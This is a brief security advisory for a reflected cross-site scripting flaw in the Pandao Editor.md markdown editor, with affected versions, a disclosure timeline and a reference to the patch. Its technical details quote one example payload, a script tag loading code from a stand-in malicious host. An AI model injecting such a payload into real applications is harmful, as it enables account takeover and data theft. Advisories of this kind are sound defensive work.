Executive brief
Pandao Editor.md is a popular open-source markdown editor component embedded in web applications. A cross-site scripting (XSS) vulnerability in the editor parameter allows an attacker to inject and execute malicious JavaScript code when crafted input is provided to the editor, potentially compromising user accounts, stealing sensitive data, or redirecting users to malicious websites.
Technical details
This is a reflected cross-site scripting (CWE-79) vulnerability in Pandao Editor.md where user-supplied input to the editor parameter is not properly sanitized before being rendered in the browser. The vulnerable component fails to escape or filter HTML script tags, allowing attackers to inject <script> elements with external src attributes. An attacker can craft a URL or input containing <script src="https://malicious.com/script.js"></script> and chain it with template injection (e.g., AngularJS expressions) to achieve arbitrary JavaScript execution. The attack requires only a network connection and no authentication or user interaction beyond viewing the malicious editor content. A patch is available via pull request #860 in the official repository.
Affected products
- Pandao Editor.md 0 through 1.5.0
Timeline
- 2019-07-02: disclosed: Vulnerability initially reported on GitHub issue #700
- 2020-09-22: patched: Security fix proposed via pull request #860
- 2023-04-04: advisory: GHSA advisory published